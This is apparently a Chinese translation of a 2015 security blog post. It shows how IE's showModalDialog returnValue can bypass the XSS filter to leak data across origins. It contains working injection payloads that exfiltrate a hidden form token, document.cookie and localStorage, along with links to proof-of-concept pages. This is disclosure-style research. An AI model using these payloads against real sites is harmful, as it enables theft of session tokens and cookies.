利用showModalDialog绕过IE的XSS过滤器

本文详细介绍了如何利用已被移除web标准的showModalDialog函数,在IE和Safari浏览器中绕过XSS过滤器,实现跨域信息传递和敏感数据窃取的技术细节和攻击场景。

利用showModalDialog绕过IE的XSS过滤器

大家好!我是Masato Kinugawa。终于,我开始用英文写博客了 :) 同时我也会继续用日语写博客,就像一直以来那样:http://masatokinugawa.l0.cm/ 今天,我想分享如何使用showModalDialog绕过IE的XSS过滤器。

showModalDialog函数已经很古老,并且已经从web标准中移除,但它有独特的机制。我认为它可能会让我有所收获。这就是我开始研究它的原因。 该函数仍然被IE、Firefox和Safari支持。

首先,让我们回顾一下showModalDialog的用法。

第一个参数是您想在模态对话框中打开的URL。 第二个参数是您想传递给模态对话框的参数。您可以在模态窗口中通过window.dialogArguments属性使用它。

要通过window.dialogArguments传递参数,似乎两个窗口必须是同源的。

但在returnValue的情况下则不同。在Safari和IE中,两个窗口不必是同源的。(只有Firefox需要同源)

以下是我的测试页面: http://vulnerabledoma.in/showModalDialog/opener.html

Safari可以简单地将其传递给不同源。请从"x-origin"按钮测试。 要在IE上重现,我们需要3xx重定向。请从"x-origin(redirect)“按钮测试。

这种行为意味着在Safari和IE中,我们可以通过returnValue属性将信息传递给另一个源的页面。这可能会在某些web应用中造成漏洞。但当然,我不想在2015年教导showModalDialog的安全用法 :)

让我们进入主题,绕过IE的XSS过滤器。

可利用条件:

  • XSS存在于JS的字符串字面量中。
  • 任何JS属性包含敏感信息。

以下是我的测试页面:

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]

1
2
3
4
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

眼见为实。请使用IE访问以下PoC:

http://l0.cm/xssfilter_bypass/showModalDialog.html

如果顺利,当您关闭模态对话框时,可以在alert中看到token字符串。

让我们看看细节。重定向将您带到:

http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//

载荷被注入:

1
2
3
4
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="";returnValue=form.token.value//"</script>

然后,token被传递到returnValue。是的!!

不用说,这也有效:

1
2
";returnValue=document.cookie//
";returnValue=localStorage.key//

我曾尝试通过window.opener访问其他页面的window对象,但没有成功。有什么想法吗?

就这样。明白了吗? :)

仅供参考,我过去曾写过一些关于XSS过滤器绕过技术的博客。(抱歉,只有日语文本) 如果您对其他绕过方法感兴趣,请使用Google翻译阅读。

  • ブラウザのXSS保護機能をバイパスする(1) (2012/2)
  • ブラウザのXSS保護機能をバイパスする(2) (2012/3)
  • ブラウザのXSS保護機能をバイパスする(3) (2012/9)
  • ブラウザのXSS保護機能をバイパスする(4) (2014/9)
  • ブラウザのXSS保護機能をバイパスする(5) (2014/10)

我会尽可能继续用英文写博客。

谢谢!

更新(2015/6/17)

我找到了一种通过returnValue传递其他同源页面信息的方法。 无论如何,请访问以下页面并点击"go"按钮。

http://l0.cm/xssfilter_bypass/showModalDialog2.html

如果顺利,您可以在alert对话框中看到其他同源页面信息的”

This is secret Text!

"。在这个PoC中,我们不需要3xx重定向。似乎我们可以从存在于showModalDialog中的iframe的跨源页面设置returnValue。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计